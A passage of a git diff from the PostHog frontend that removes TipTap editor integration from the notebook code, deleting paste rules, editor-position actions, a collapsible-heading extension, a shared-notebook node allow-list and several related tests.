'milliseconds').format('HH:mm:ss').replace(/^00:/, '').trim()-}diff --git a/frontend/src/scenes/notebooks/Nodes/NotebookNodeSurvey.tsx b/frontend/src/scenes/notebooks/Nodes/NotebookNodeSurvey.tsxindex b64daba9f849..59eb9e77de40 100644--- a/frontend/src/scenes/notebooks/Nodes/NotebookNodeSurvey.tsx+++ b/frontend/src/scenes/notebooks/Nodes/NotebookNodeSurvey.tsx@@ -20,7 +20,6 @@ import { FeatureFlagBasicType } from '~/types'import { NotebookNodeProps, NotebookNodeType } from '../types'import { buildFlagContent } from './NotebookNodeFlag'import { notebookNodeLogic } from './notebookNodeLogic'-import { OPTIONAL_PROJECT_NON_CAPTURE_GROUP, UUID_REGEX_MATCH_GROUPS } from './utils'const Component = ({ attributes }: NotebookNodeProps<NotebookNodeSurveyAttributes>): JSX.Element => {const { id } = attributes@@ -122,12 +121,6 @@ export const NotebookNodeSurvey = createPostHogWidgetNode<NotebookNodeSurveyAttrattributes: {id: {},},- pasteOptions: {- find: OPTIONAL_PROJECT_NON_CAPTURE_GROUP + urls.survey(UUID_REGEX_MATCH_GROUPS),- getAttributes: async (match) => {- return { id: match[1] }- },- },})export function buildSurveyContent(id: string): JSONContent {diff --git a/frontend/src/scenes/notebooks/Nodes/nodeBuilders.ts b/frontend/src/scenes/notebooks/Nodes/nodeBuilders.tsindex 2251bf18e94c..1fe1d5f1313e 100644--- a/frontend/src/scenes/notebooks/Nodes/nodeBuilders.ts+++ b/frontend/src/scenes/notebooks/Nodes/nodeBuilders.ts@@ -5,7 +5,7 @@// `NodeWrapper`, and `NodeWrapper` imports `SlashCommandsPopover` from `SlashCommands` — putting// the builders in either node module creates a circular import that surfaces as// `createPostHogWidgetNode is not a function` at module-evaluation time.-import { JSONContent } from '@tiptap/core'+import { JSONContent } from 'lib/components/RichContentEditor/types'import { NodeKind, QuerySchema } from '~/queries/schema/schema-general'import { InsightQueryNode } from '~/queries/schema/schema-general'diff --git a/frontend/src/scenes/notebooks/Nodes/notebookNodeLogic.ts b/frontend/src/scenes/notebooks/Nodes/notebookNodeLogic.tsindex 4a85825678f7..e3f49ad66a7c 100644--- a/frontend/src/scenes/notebooks/Nodes/notebookNodeLogic.ts+++ b/frontend/src/scenes/notebooks/Nodes/notebookNodeLogic.ts@@ -38,7 +38,7 @@ import {NotebookNodeSettingsPlacement,NotebookNodeType,} from '../types'-import type { NotebookEditor, NotebookType } from '../types'+import type { NotebookType } from '../types'import { getNotebookSqlEditorTabId } from './components/NotebookSQLEditor'import { NotebookNodeMessages, NotebookNodeMessagesListeners } from './messaging/notebook-node-messages'import {@@ -861,7 +861,6 @@ const parseDataframePreview = (preview?: string | null): NotebookDataframeResultexport type NotebookNodeLogicProps = {nodeType: NotebookNodeTypenotebookLogic: BuiltLogic<notebookLogicType>- getPos?: () => number | undefinedresizeable?: boolean | ((attributes: CustomNotebookNodeAttributes) => boolean)Settings?: NotebookNodeSettingsmessageListeners?: NotebookNodeMessagesListeners@@ -875,7 +874,6 @@ export interface notebookNodeLogicValues {comments: CommentType[] | null // props.notebookLogicdependencyGraph: NotebookDependencyGraph // props.notebookLogicduckSqlNodeSummaries: DuckSqlNodeSummary[] // props.notebookLogic- editor: NotebookEditor | null // props.notebookLogichogqlSqlNodeSummaries: HogqlSqlNodeSummary[] // props.notebookLogicisEditable: boolean // props.notebookLogickernelInfo: NotebookKernelInfo | null // props.notebookLogic@@ -941,15 +939,6 @@ export interface notebookNodeLogicValues {// Generated by kea-typegen. Update if you're an agent, ignore if you're human.export interface notebookNodeLogicActions {- onUpdateEditor: () => {- value: true- } // props.notebookLogic- setTextSelection: (selection: number | import('@tiptap/core').Range) => {- selection: number | import('@tiptap/core').Range- } // props.notebookLogic- convertToBacklink: (href: string) => {- href: string- }copyToClipboard: () => {value: true}@@ -962,16 +951,6 @@ export interface notebookNodeLogicActions {insertAfter: (content: JSONContent) => {content: JSONContent}- insertAfterLastNodeOfType: (- nodeType: string,- content: JSONContent- ) => {- content: JSONContent- nodeType: string- }- insertOrSelectNextLine: () => {- value: true- }loadDataframePage: (payload: { pageSize?: number; variableName: string }) => {pageSize?: number | undefinedvariableName: string@@ -1000,9 +979,6 @@ export interface notebookNodeLogicActions {runPythonNodeWithMode: (payload: { mode: PythonRunMode }) => {mode: PythonRunMode}- scrollIntoView: () => {- value: true- }selectNode: (scroll?: boolean) => {scroll: boolean | undefined}@@ -1100,22 +1076,18 @@ export const notebookNodeLogic = kea<notebookNodeLogicType>([setActions: (actions: (NotebookNodeAction | undefined)[]) => ({ actions }),setMenuItems: (menuItems: LemonMenuItems | null) => ({ menuItems }),insertAfter: (content: JSONContent) => ({ content }),- insertAfterLastNodeOfType: (nodeType: string, content: JSONContent) => ({ content, nodeType }),updateAttributes: (attributes: Partial<NotebookNodeAttributes<any>>) => ({ attributes }),- insertOrSelectNextLine: true,setPreviousNode: (node: RichContentNode | null) => ({ node }),setNextNode: (node: RichContentNode | null) => ({ node }),deleteNode: true,selectNode: (scroll?: boolean) => ({ scroll }),toggleEditing: (visible?: boolean) => ({ visible }),- scrollIntoView: true,initializeNode: true,setMessageListeners: (listeners: NotebookNodeMessagesListeners) => ({ listeners }),setTitlePlaceholder: (titlePlaceholder: string) => ({ titlePlaceholder }),setRef: (ref: HTMLElement | null) => ({ ref }),toggleEditingTitle: (editing?: boolean) => ({ editing }),copyToClipboard: true,- convertToBacklink: (href: string) => ({ href }),navigateToNode: (nodeId: string) => ({ nodeId }),runPythonNode: (payload: { code: string }) => payload,runPythonNodeWithMode: (payload: { mode: PythonRunMode }) => payload,@@ -1143,11 +1115,9 @@ export const notebookNodeLogic = kea<notebookNodeLogicType>([}),connect((props: NotebookNodeLogicProps) => ({- actions: [props.notebookLogic, ['onUpdateEditor', 'setTextSelection']],values: [props.notebookLogic,[- 'editor','isEditable','comments','pythonNodeSummaries',@@ -1480,92 +1450,17 @@ export const notebookNodeLogic = kea<notebookNodeLogicType>([}),listeners(({ actions, values, props }) => ({- onUpdateEditor: async () => {- if (!props.getPos) {- return- }- const editor = values.notebookLogic.values.editor- const pos = props.getPos()- if (editor && pos) {- const { previous, next } = editor.getAdjacentNodes(pos)- actions.setPreviousNode(previous)- actions.setNextNode(next)- }- },-- insertAfter: ({ content }) => {- const pos = props.getPos?.()- if (!pos) {- return- }- const logic = values.notebookLogic- logic.values.editor?.insertContentAfterNode(pos, content)- },-deleteNode: () => {- const pos = props.getPos?.()- if (!pos) {- // TODO: somehow make this delete from the parent- return- }-- const logic = values.notebookLogic- logic.values.editor?.deleteRange({ from: pos, to: pos + 1 }).run()if (values.notebookLogic.values.editingNodeIds[values.nodeId]) {values.notebookLogic.actions.setEditingNodeEditing(values.nodeId, false)}},- selectNode: ({ scroll }) => {- const pos = props.getPos?.()- if (!pos) {- return- }- const editor = values.notebookLogic.values.editor-- if (editor) {- editor.setSelection(pos)- if (scroll ?? true) {- editor.scrollToSelection()- }- }- },-navigateToNode: ({ nodeId }) => {const targetLogic = values.notebookLogic.values.findNodeLogicById(nodeId)targetLogic?.actions.selectNode()},- scrollIntoView: () => {- const pos = props.getPos?.()- if (!pos) {- return- }- values.editor?.scrollToPosition(pos)- },-- insertAfterLastNodeOfType: ({ nodeType, content }) => {- const insertionPosition = props.getPos?.()- if (!insertionPosition) {- return- }- values.notebookLogic.actions.insertAfterLastNodeOfType(nodeType, content, insertionPosition)- },- insertOrSelectNextLine: () => {- const pos = props.getPos?.()- if (!pos || !values.isEditable) {- return- }-- if (!values.nextNode || !values.nextNode.isTextblock) {- actions.insertAfter({- type: 'paragraph',- })- } else {- actions.setTextSelection(pos + 1)- }- },-setExpanded: ({ expanded }) => {if (expanded) {posthog.capture('notebook node expanded', {@@ -1682,21 +1577,6 @@ export const notebookNodeLogic = kea<notebookNodeLogicType>([const blob = new Blob([html], { type })await window.navigator.clipboard.write([new ClipboardItem({ [type]: blob })])},- convertToBacklink: ({ href }) => {- const pos = props.getPos?.()- const editor = values.notebookLogic.values.editor- if (!pos || !editor) {- return- }-- editor.insertContentAfterNode(pos, {- type: NotebookNodeType.Backlink,- attrs: {- href,- },- })- actions.deleteNode()- },runPythonNode: async ({ code }) => {if (props.nodeType !== NotebookNodeType.Python) {returndiff --git a/frontend/src/scenes/notebooks/Nodes/sharedNodeSupport.tsx b/frontend/src/scenes/notebooks/Nodes/sharedNodeSupport.tsxindex 550866be7b8a..c158d66e4bb3 100644--- a/frontend/src/scenes/notebooks/Nodes/sharedNodeSupport.tsx+++ b/frontend/src/scenes/notebooks/Nodes/sharedNodeSupport.tsx@@ -1,48 +1,15 @@-import { NodeViewWrapper } from '@tiptap/react'-import { Component, ReactNode } from 'react'-import { IconWarning } from '@posthog/icons'-import { NotebookNodeType } from '../types'-/**- * Node types that are safe to render inside a publicly shared notebook today.- *- * Anything not in this set falls back to {@link UnsupportedNodePlaceholder} so that- * shared notebook viewers never crash on a node we haven't audited for anonymous use yet.- *- * To add a new supported node:- * 1. Confirm the node only fetches data via endpoints that accept `SharingAccessTokenAuthentication`.- * 2. Confirm it has no editor-only side effects when `isEditable=false`.- * 3. Add the entry below.- *- * Built-in ProseMirror / StarterKit / Tiptap node names (paragraph, heading, bulletList, etc.) are- * registered separately in `Editor.tsx` and aren't gated through this list \u2014 only PostHog widget- * nodes (`ph-*`) flow through `createPostHogWidgetNode` where this check runs.+ * Fallback for node types that cannot render for the current viewer — e.g. inline / ad-hoc+ * queries in a publicly shared notebook, which would otherwise POST to+ * `/api/projects/.../query/`, an endpoint sharing tokens cannot reach.*/-export const SHARED_NOTEBOOK_SUPPORTED_NODE_TYPES: ReadonlySet<string> = new Set([- NotebookNodeType.Image,- NotebookNodeType.Latex,- NotebookNodeType.Embed,- // `ph-query` itself is allow-listed at the node-type level, but the component does its own- // shared-mode check internally: only `SavedInsightNode` queries with a backend-pre-computed- // result render. Inline / ad-hoc queries (DataTableNode, HogQLQuery, etc.) fall back to- // `UnsupportedNodePlaceholder` from inside `NotebookNodeQuery` because they would otherwise- // POST to `/api/projects/.../query/`, which sharing tokens cannot reach.- NotebookNodeType.Query,-])--export function isNodeSupportedInSharedNotebook(nodeType: string): boolean {- return SHARED_NOTEBOOK_SUPPORTED_NODE_TYPES.has(nodeType)-}-export function UnsupportedNodePlaceholder(): JSX.Element {return (- <NodeViewWrapper- as="div"+ <divclassName="NotebookNode--unsupported my-2 rounded border border-dashed border-warning bg-warning-highlight p-3"data-attr="notebook-unsupported-node"- contentEditable={false}><div className="flex items-start gap-2"><IconWarning className="text-warning mt-0.5 shrink-0 text-lg" />@@ -53,36 +20,6 @@ export function UnsupportedNodePlaceholder(): JSX.Element {</span></div></div>- </NodeViewWrapper>+ </div>)}--/**- * Tiny error boundary used only by the shared-notebook render path. Catches anything that throws- * while rendering an allow-listed node and falls back to the same placeholder so the surrounding- * notebook keeps rendering. The full `~/layout/ErrorBoundary` is intentionally not used here- * because it shows engineer-oriented support UI which we don't want anonymous viewers to see.- */-interface SharedNodeErrorBoundaryProps {- children: ReactNode-}--export class SharedNodeErrorBoundary extends Component<SharedNodeErrorBoundaryProps, { hasError: boolean }> {- override state = { hasError: false }-- static getDerivedStateFromError(): { hasError: boolean } {- return { hasError: true }- }-- override componentDidCatch(): void {- // Swallow errors: a single broken node should not surface a stack trace to public viewers.- // The exception is still reported via the global error handler attached at app boot.- }-- override render(): ReactNode {- if (this.state.hasError) {- return <UnsupportedNodePlaceholder />- }- return this.props.children- }-}diff --git a/frontend/src/scenes/notebooks/Nodes/utils.test.tsx b/frontend/src/scenes/notebooks/Nodes/utils.test.tsxindex 648ef9009026..c5b3c7c0a8b6 100644--- a/frontend/src/scenes/notebooks/Nodes/utils.test.tsx+++ b/frontend/src/scenes/notebooks/Nodes/utils.test.tsx@@ -1,19 +1,4 @@-import { act, renderHook } from '@testing-library/react'-import { NodeViewProps } from '@tiptap/core'--import { urls } from 'scenes/urls'--import { InsightShortId } from '~/types'--import {- INTEGER_REGEX_MATCH_GROUPS,- SHORT_CODE_REGEX_MATCH_GROUPS,- UUID_REGEX_MATCH_GROUPS,- buildNotebookNodeClipboardHTML,- createUrlRegex,- sortProperties,- useSyncedAttributes,-} from './utils'+import { buildNotebookNodeClipboardHTML, sortProperties } from './utils'// Mock dependencies for Group revenue utilitiesjest.mock('lib/utils/numbers', () => ({@@ -27,135 +12,6 @@ jest.mock('lib/utils/currency', () => ({describe('notebook node utils', () => {jest.useFakeTimers()- describe('useSyncedAttributes', () => {- const harness: { node: { attrs: Record<string, any> }; updateAttributes: any } = {- node: { attrs: {} },- updateAttributes: jest.fn((attrs) => {- harness.node.attrs = { ...harness.node.attrs, ...attrs }- }),- }-- const nodeViewProps = harness as unknown as NodeViewProps-- beforeEach(() => {- harness.node.attrs = {- foo: 'bar',- }- harness.updateAttributes.mockClear()- })-- it('should set a default node ID', () => {- const { result } = renderHook(() => useSyncedAttributes(nodeViewProps))-- expect(nodeViewProps.updateAttributes).not.toHaveBeenCalled()-- expect(result.current[0]).toEqual({- nodeId: expect.any(String),- foo: 'bar',- })- })-- it('should do nothing if an attribute is unchanged', async () => {- const { result } = renderHook(() => useSyncedAttributes(nodeViewProps))-- expect(nodeViewProps.updateAttributes).not.toHaveBeenCalled()-- expect(result.current[0]).toMatchObject({- foo: 'bar',- })-- act(() => {- result.current[1]({- foo: 'bar',- })- })-- await jest.runOnlyPendingTimersAsync()-- expect(nodeViewProps.updateAttributes).not.toHaveBeenCalled()-- expect(result.current[0]).toMatchObject({- foo: 'bar',- })- })-- it('should call the update attributes function if changed', async () => {- const { result, rerender } = renderHook(() => useSyncedAttributes(nodeViewProps))-- expect(nodeViewProps.updateAttributes).not.toHaveBeenCalled()-- act(() => {- result.current[1]({- foo: 'bar2',- })- })-- await jest.runOnlyPendingTimersAsync()-- expect(nodeViewProps.updateAttributes).toHaveBeenCalledWith({- foo: 'bar2',- })-- rerender()-- expect(result.current[0]).toMatchObject({- foo: 'bar2',- })- })-- it('should stringify and parse content', async () => {- harness.node.attrs = {- filters: { my: 'data' },- number: 1,- }- const { result, rerender } = renderHook(() => useSyncedAttributes(nodeViewProps))-- expect(result.current[0]).toEqual({- nodeId: expect.any(String),- filters: {- my: 'data',- },- number: 1,- })-- act(() => {- result.current[1]({- filters: {- my: 'changed data',- },- })- })-- await jest.runOnlyPendingTimersAsync()-- expect(nodeViewProps.updateAttributes).toHaveBeenCalledWith({- filters: '{"my":"changed data"}',- })-- rerender()-- expect(result.current[0]).toEqual({- nodeId: expect.any(String),- filters: {- my: 'changed data',- },- number: 1,- })-- harness.updateAttributes.mockClear()-- act(() => {- result.current[1]({- filters: {- my: 'changed data',- },- })- })-- await jest.runOnlyPendingTimersAsync()- expect(nodeViewProps.updateAttributes).not.toHaveBeenCalled()- })- })describe('buildNotebookNodeClipboardHTML', () => {// Reads back an attribute the same way the per-attribute parseHTML in `createPostHogWidgetNode`@@ -239,36 +95,6 @@ describe('notebook node utils', () => {})})- describe('paste matching handlers', () => {- it('matches the uuid regex', () => {- let url = urls.replaySingle(UUID_REGEX_MATCH_GROUPS)- let regex = createUrlRegex(url)- let matches = regex.exec('http://localhost/replay/0192c471-b890-7546-9eae-056d98b8c5a8')- expect(matches?.[1]).toEqual('0192c471-b890-7546-9eae-056d98b8c5a8')-- url = urls.experiment(INTEGER_REGEX_MATCH_GROUPS)- regex = createUrlRegex(url)- matches = regex.exec('http://localhost/experiments/12345')- expect(matches?.[1]).toEqual('12345')-- url = urls.insightView(SHORT_CODE_REGEX_MATCH_GROUPS as InsightShortId)- regex = createUrlRegex(url)- matches = regex.exec('http://localhost/insights/TAg12F')- expect(matches?.[1]).toEqual('TAg12F')- })- it('ignores any query params', () => {- let url = urls.replaySingle(UUID_REGEX_MATCH_GROUPS)- let regex = createUrlRegex(url)- let matches = regex.exec('http://localhost/replay/0192c471-b890-7546-9eae-056d98b8c5a8?filters=false')- expect(matches?.[1]).toEqual('0192c471-b890-7546-9eae-056d98b8c5a8')-- url = urls.insightView(SHORT_CODE_REGEX_MATCH_GROUPS as InsightShortId)- regex = createUrlRegex(url)- matches = regex.exec('http://localhost/insights/TAg12F?dashboardId=1234')- expect(matches?.[1]).toEqual('TAg12F')- })- })-describe('sortProperties', () => {describe('pinned properties take priority', () => {it('should place pinned properties before non-pinned ones', () => {diff --git a/frontend/src/scenes/notebooks/Nodes/utils.tsx b/frontend/src/scenes/notebooks/Nodes/utils.tsxindex db08f86281de..769a8f03324c 100644--- a/frontend/src/scenes/notebooks/Nodes/utils.tsx+++ b/frontend/src/scenes/notebooks/Nodes/utils.tsx@@ -1,26 +1,13 @@-import { ExtendedRegExpMatchArray, InputRule, NodeViewProps, PasteRule } from '@tiptap/core'-import { NodeType } from '@tiptap/pm/model'import clsx from 'clsx'import DOMPurify from 'dompurify'-import posthog from 'posthog-js'-import { type ReactNode, useCallback, useMemo, useRef } from 'react'+import { type ReactNode } from 'react'-import { TTEditor } from 'lib/components/RichContentEditor/types'import { formatCurrency } from 'lib/utils/currency'-import { uuid } from 'lib/utils/dom'-import { tryJsonParse } from 'lib/utils/json'import { percentage } from 'lib/utils/numbers'import { CurrencyCode } from '~/queries/schema/schema-general'import { Group } from '~/types'-import { CustomNotebookNodeAttributes, NotebookNodeAttributes } from '../types'--export const INTEGER_REGEX_MATCH_GROUPS = '([0-9]*)(.*)'-export const SHORT_CODE_REGEX_MATCH_GROUPS = '([0-9a-zA-Z]*)(.*)'-export const UUID_REGEX_MATCH_GROUPS = '([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})(.*)'-export const OPTIONAL_PROJECT_NON_CAPTURE_GROUP = '(?:/project/[0-9]*)?'-type AnsiState = {fgClassName?: stringisBold?: boolean@@ -141,154 +128,6 @@ export const buildMediaSource = (media: { mimeType: string; data: string }): strreturn null}-export function createUrlRegex(path: string | RegExp, origin?: string): RegExp {- origin = (origin || window.location.origin).replace('.', '\\.')- return new RegExp(origin + path, 'ig')-}--export function reportNotebookNodeCreation(nodeType: string): void {- posthog.capture('notebook node created', { type: nodeType })-}--export function posthogNodePasteRule(options: {- find: string | RegExp- type: NodeType- editor: TTEditor- getAttributes: (- match: ExtendedRegExpMatchArray- ) => Promise<Record<string, any> | null | undefined> | Record<string, any> | null | undefined-}): PasteRule {- return new PasteRule({- find: typeof options.find === 'string' ? createUrlRegex(options.find) : options.find,- handler: ({ match, chain, range }) => {- if (match.input) {- chain().deleteRange(range).run()-- void Promise.resolve(options.getAttributes(match)).then((attributes) => {- if (attributes) {- options.editor.commands.insertContent({- type: options.type.name,- attrs: attributes,- })- }- })- }- },- })-}--export function posthogNodeInputRule(options: {- find: string | RegExp- type: NodeType- editor: TTEditor- getAttributes: (- match: ExtendedRegExpMatchArray- ) => Promise<Record<string, any> | null | undefined> | Record<string, any> | null | undefined-}): InputRule {- return new InputRule({- find: typeof options.find === 'string' ? createUrlRegex(options.find) : options.find,- handler: ({ match, chain, range }) => {- if (match.input) {- chain().deleteRange(range).run()-- void Promise.resolve(options.getAttributes(match)).then((attributes) => {- if (attributes) {- options.editor.commands.insertContent({- type: options.type.name,- attrs: attributes,- })- }- })- }- },- })-}--export function linkPasteRule(): PasteRule {- return new PasteRule({- find: createUrlRegex(- `(?!${window.location.host})([a-zA-Z0-9-._~:/?#\\[\\]!@$&'()*,;=]*)`,- '^(https?|mailto)://'- ),- handler: ({ match, chain, range }) => {- if (match.input) {- const url = new URL(match[0])- const href = url.origin === window.location.origin ? url.pathname : url.toString()- chain()- .deleteRange(range)- .insertContent([- {- type: 'text',- marks: [{ type: 'link', attrs: { href } }],- text: href,- },- { type: 'text', text: ' ' },- ])- .run()- }- },- })-}--export function useSyncedAttributes<T extends CustomNotebookNodeAttributes>(- props: NodeViewProps-): [NotebookNodeAttributes<T>, (attrs: Partial<NotebookNodeAttributes<T>>) => void] {- const nodeId = useMemo(() => props.node.attrs.nodeId ?? uuid(), [props.node.attrs.nodeId])- const previousNodeAttrs = useRef<NodeViewProps['node']['attrs']>()- const parsedAttrs = useRef<NotebookNodeAttributes<T>>({} as NotebookNodeAttributes<T>)-- if (previousNodeAttrs.current !== props.node.attrs) {- const newParsedAttrs = Object.keys(props.node.attrs).reduce<Record<string, any>>((acc, key) => {- const val = props.node.attrs[key]- if (previousNodeAttrs.current?.[key] !== val) {- // If changed, set it whilst trying to parse- acc[key] = tryJsonParse(val, val)- } else if (parsedAttrs.current) {- // Otherwise use the old value to preserve object equality- acc[key] = parsedAttrs.current[key]- }- return acc- }, {})-- parsedAttrs.current = newParsedAttrs as NotebookNodeAttributes<T>- parsedAttrs.current.nodeId = nodeId- }-- previousNodeAttrs.current = props.node.attrs-- const updateAttributes = useCallback(- (attrs: Partial<NotebookNodeAttributes<T>>): void => {- // We call the update whilst json stringifying- const stringifiedAttrs = Object.keys(attrs).reduce(- (acc, x) => {- acc[x] = attrs[x] && typeof attrs[x] === 'object' ? JSON.stringify(attrs[x]) : attrs[x]- return acc- },- {} as Record<string, any>- )-- // Compare in stringified form — prosemirror state may hold the value as an object,- // stringifiedAttrs as a string. Without this, no-op updates dispatch a transaction.- const hasChanges = Object.keys(stringifiedAttrs).some((key) => {- const prev = previousNodeAttrs.current?.[key]- const prevStringified = prev && typeof prev === 'object' ? JSON.stringify(prev) : prev- return prevStringified !== stringifiedAttrs[key]- })-- if (!hasChanges) {- return- }-- // NOTE: queueMicrotask protects us from TipTap's flushSync calls, ensuring we never modify the state whilst the flush is happening- queueMicrotask(() => props.updateAttributes(stringifiedAttrs))- },- // oxlint-disable-next-line exhaustive-deps- [props.updateAttributes]- )-- return [parsedAttrs.current, updateAttributes]-}-// nodeId/__-prefixed are internal// null/undefined would otherwise serialize as the literal strings "null"/"undefined".export function shouldOmitFromClipboardHTML(key: string, value: unknown): boolean {diff --git a/frontend/src/scenes/notebooks/Notebook/CollapsibleHeading.tsx b/frontend/src/scenes/notebooks/Notebook/CollapsibleHeading.tsxdeleted file mode 100644index c4215f90fb39..000000000000--- a/frontend/src/scenes/notebooks/Notebook/CollapsibleHeading.tsx+++ /dev/null@@ -1,218 +0,0 @@-import Heading from '@tiptap/extension-heading'-import { Node as PMNode } from '@tiptap/pm/model'-import { Plugin, PluginKey } from '@tiptap/pm/state'-import { Decoration, DecorationSet } from '@tiptap/pm/view'-import { Editor, ReactRenderer } from '@tiptap/react'--import { IconEye, IconTriangleDownFilled, IconTriangleRightFilled } from '@posthog/icons'-import { LemonButton } from '@posthog/lemon-ui'--import { humanList, identifierToHuman, pluralize } from 'lib/utils/strings'--import { NotebookNodeType } from '../types'--/** h1-h3 are collapsible */-const MAX_COLLAPSIBLE_H_LEVEL = 3--// This is how the collapsed/expanded state is persisted - via the `collapsed` attribute on the node-export const CollapsibleHeading = Heading.extend({- addAttributes() {- return {- ...this.parent?.(),- collapsed: {- default: false,- parseHTML: (element: HTMLElement) => element.getAttribute('data-collapsed') === 'true',- renderHTML: (attributes: { collapsed?: boolean; level: number | undefined }) =>- (attributes.level ?? Infinity) <= MAX_COLLAPSIBLE_H_LEVEL- ? {- 'data-collapsed': attributes.collapsed ? 'true' : 'false',- }- : {},- },- }- },-- addProseMirrorPlugins() {- const pluginKey = new PluginKey('collapsibleHeading')- return [- new Plugin({- key: pluginKey,- state: {- init: (_, { doc }) => createDecorations(doc, this.editor),- apply: (tr, old) => {- if (tr.docChanged || tr.selectionSet || (tr as any).getMeta('forceDecorations')) {- return createDecorations(tr.doc as PMNode, this.editor)- }- return old- },- },- props: {- decorations: (state) => pluginKey.getState(state),- },- }),- ]- },-})--function createDecorations(doc: PMNode, editor: Editor): DecorationSet {- const decorations: Decoration[] = []- const topNodes: {- node: any- pos: number- isHeading: boolean- level?: number- collapsed?: boolean- }[] = []-- doc.descendants((node, nodePos, parent) => {- if (parent === doc) {- topNodes.push({- node,- pos: nodePos,- isHeading: node.type.name === 'heading',- level: node.type.name === 'heading' ? node.attrs.level : undefined,- collapsed: node.type.name === 'heading' ? !!node.attrs.collapsed : undefined,- })- }- })-- // Caret button per heading via ReactRenderer- for (const info of topNodes) {- if (info.isHeading) {- const isLevelCollapsible = info.level && info.level <= MAX_COLLAPSIBLE_H_LEVEL- if (!isLevelCollapsible) {- continue- }- const headingStart = info.pos- const renderer = new ReactRenderer(HeadingToggle, {- editor,- props: {- collapsed: !!info.collapsed,- onClick: () => {- const node = editor.state.doc.nodeAt(headingStart)- if (!node) {- return- }- const transaction = editor.state.tr.setNodeMarkup(headingStart, undefined, {- ...node.attrs,- collapsed: !node.attrs.collapsed,- })- editor.view.dispatch(transaction)- },- },- })- decorations.push(Decoration.widget(headingStart + 1, renderer.element, { side: -1 }))- }- }-- // Hierarchy-aware hiding and content analysis- let activeCollapse: [level: number, headingPos: number] | null = null- let hiddenNodes: any[] = []- for (const info of topNodes) {- if (info.isHeading) {- if (activeCollapse) {- if ((info.level ?? Infinity) <= activeCollapse[0]) {- // Collapsed section starting- if (hiddenNodes.length > 0 && activeCollapse[1] !== null) {- decorations.push(createCollapsedContentDecoration(editor, doc, activeCollapse[1], hiddenNodes))- }- activeCollapse = null- hiddenNodes = []- } else {- // Nested heading inside collapsed region – hide it- decorations.push(- Decoration.node(info.pos, info.pos + info.node.nodeSize, { style: 'display: none' })- )- continue- }- }- if (info.collapsed) {- activeCollapse = [info.level ?? Infinity, info.pos]- hiddenNodes = []- continue- }- } else if (activeCollapse) {- // Hide this node nested in a collapsed region- hiddenNodes.push(info.node)- decorations.push(Decoration.node(info.pos, info.pos + info.node.nodeSize, { style: 'display: none' }))- }- }-- // If at end of file we're still in a collapsed region - emit its summary here- if (activeCollapse !== null && hiddenNodes.length > 0) {- decorations.push(createCollapsedContentDecoration(editor, doc, activeCollapse[1], hiddenNodes))- }-- return DecorationSet.create(doc as any, decorations)-}--function HeadingToggle({ collapsed, onClick }: { collapsed: boolean; onClick?: () => void }): JSX.Element {- return (- <LemonButton- type="tertiary"- size="xxsmall"- tooltip={collapsed ? 'Click to expand' : 'Click to collapse'}- onClick={onClick}- icon={collapsed ? <IconTriangleRightFilled /> : <IconTriangleDownFilled />}- />- )-}-const createCollapsedContentDecoration = (- editor: Editor,- doc: PMNode,- headingPos: number,- nodes: any[]-): Decoration => {- const summaryRenderer = new ReactRenderer(CollapsedContentSummary, {- editor,- props: {- summary: summarizeCollapsedContent(nodes),- onClick: () => {- const node = editor.state.doc.nodeAt(headingPos)- if (!node) {- console.error('No node found at headingPos', headingPos)- return- }- const tr = editor.state.tr.setNodeMarkup(headingPos, undefined, { ...node.attrs, collapsed: false })- editor.view.dispatch(tr)- },- },- })- const headingNode = doc.nodeAt(headingPos)! // Assuming it exists, because - well - it's simpler- return Decoration.widget(headingPos + headingNode.nodeSize, summaryRenderer.element, { side: 1 })-}--function CollapsedContentSummary({ summary, onClick }: { summary: string; onClick: () => void }): JSX.Element {- return (- <LemonButton- type="tertiary"- size="xxsmall"- onClick={onClick}- icon={<IconEye />}- className="italic -ml-1 opacity-80"- >- Expand for {summary}- </LemonButton>- )-}--function summarizeCollapsedContent(nodes: any[]): string {- const counts: Partial<Record<NotebookNodeType, number>> = {}- for (const node of nodes) {- const nodeTypeName = node.type.name- if (Object.values(NotebookNodeType).includes(nodeTypeName as NotebookNodeType)) {- if (!counts[nodeTypeName as NotebookNodeType]) {- counts[nodeTypeName as NotebookNodeType] = 0- }- counts[nodeTypeName as NotebookNodeType]! += 1- }- }- return (- humanList(- Object.entries(counts).map(([nodeTypeName, count]) =>- // The "Ph " comes form the notebook node identifiers starting with "ph-"- pluralize(count, identifierToHuman(nodeTypeName, 'sentence').replace('Ph ', ''))- )- ) || 'collapsed content'- )-}diff --git a/frontend/src/scenes/notebooks/Notebook/DropAndPasteHandlerExtension.test.ts b/frontend/src/scenes/notebooks/Notebook/DropAndPasteHandlerExtension.test.tsdeleted file mode 100644index 618bf09d2d8f..000000000000--- a/frontend/src/scenes/notebooks/Notebook/DropAndPasteHandlerExtension.test.ts+++ /dev/null@@ -1,287 +0,0 @@-import { parseMarkdownToTipTap } from 'lib/utils/parseMarkdownToTipTap'--import {- detectMarkdown,- detectTabularFormat,- isTabularData,- parseMarkdownPasteContent,- parseTabularDataToTipTapTable,-} from './DropAndPasteHandlerExtension'--describe('DropAndPasteHandlerExtension', () => {- describe('detectTabularFormat', () => {- it.each([- { input: 'A\tB\n1\t2', expected: 'tsv', desc: 'two rows with tabs' },- { input: 'A\tB\tC\n1\t2\t3\n4\t5\t6', expected: 'tsv', desc: 'three rows with tabs' },- { input: 'A,B\n1,2', expected: 'csv', desc: 'two rows with commas' },- { input: 'A,B,C\n1,2,3\n4,5,6', expected: 'csv', desc: 'three rows with commas' },- { input: 'hello\tworld', expected: null, desc: 'single line with tab' },- { input: 'hello,world', expected: null, desc: 'single line with comma' },- { input: 'just plain text', expected: null, desc: 'plain text' },- { input: '', expected: null, desc: 'empty string' },- { input: 'line1\nline2', expected: null, desc: 'multi-line without delimiters' },- { input: 'A,B\nno commas here', expected: null, desc: 'inconsistent comma counts' },- ])('returns $expected for $desc', ({ input, expected }) => {- expect(detectTabularFormat(input)).toBe(expected)- })- })-- describe('isTabularData', () => {- it.each([- { input: 'A\tB\n1\t2', expected: true, desc: 'TSV data' },- { input: 'A,B\n1,2', expected: true, desc: 'CSV data' },- { input: 'A\tB\n1\t2\n', expected: true, desc: 'trailing newline' },- { input: 'A\tB\n1\t2\n\n\n', expected: true, desc: 'multiple trailing newlines' },- { input: 'hello\tworld', expected: false, desc: 'single line with tab' },- { input: 'just plain text', expected: false, desc: 'plain text no tabs' },- { input: '', expected: false, desc: 'empty string' },- { input: 'line1\nline2', expected: false, desc: 'multi-line without tabs' },- { input: 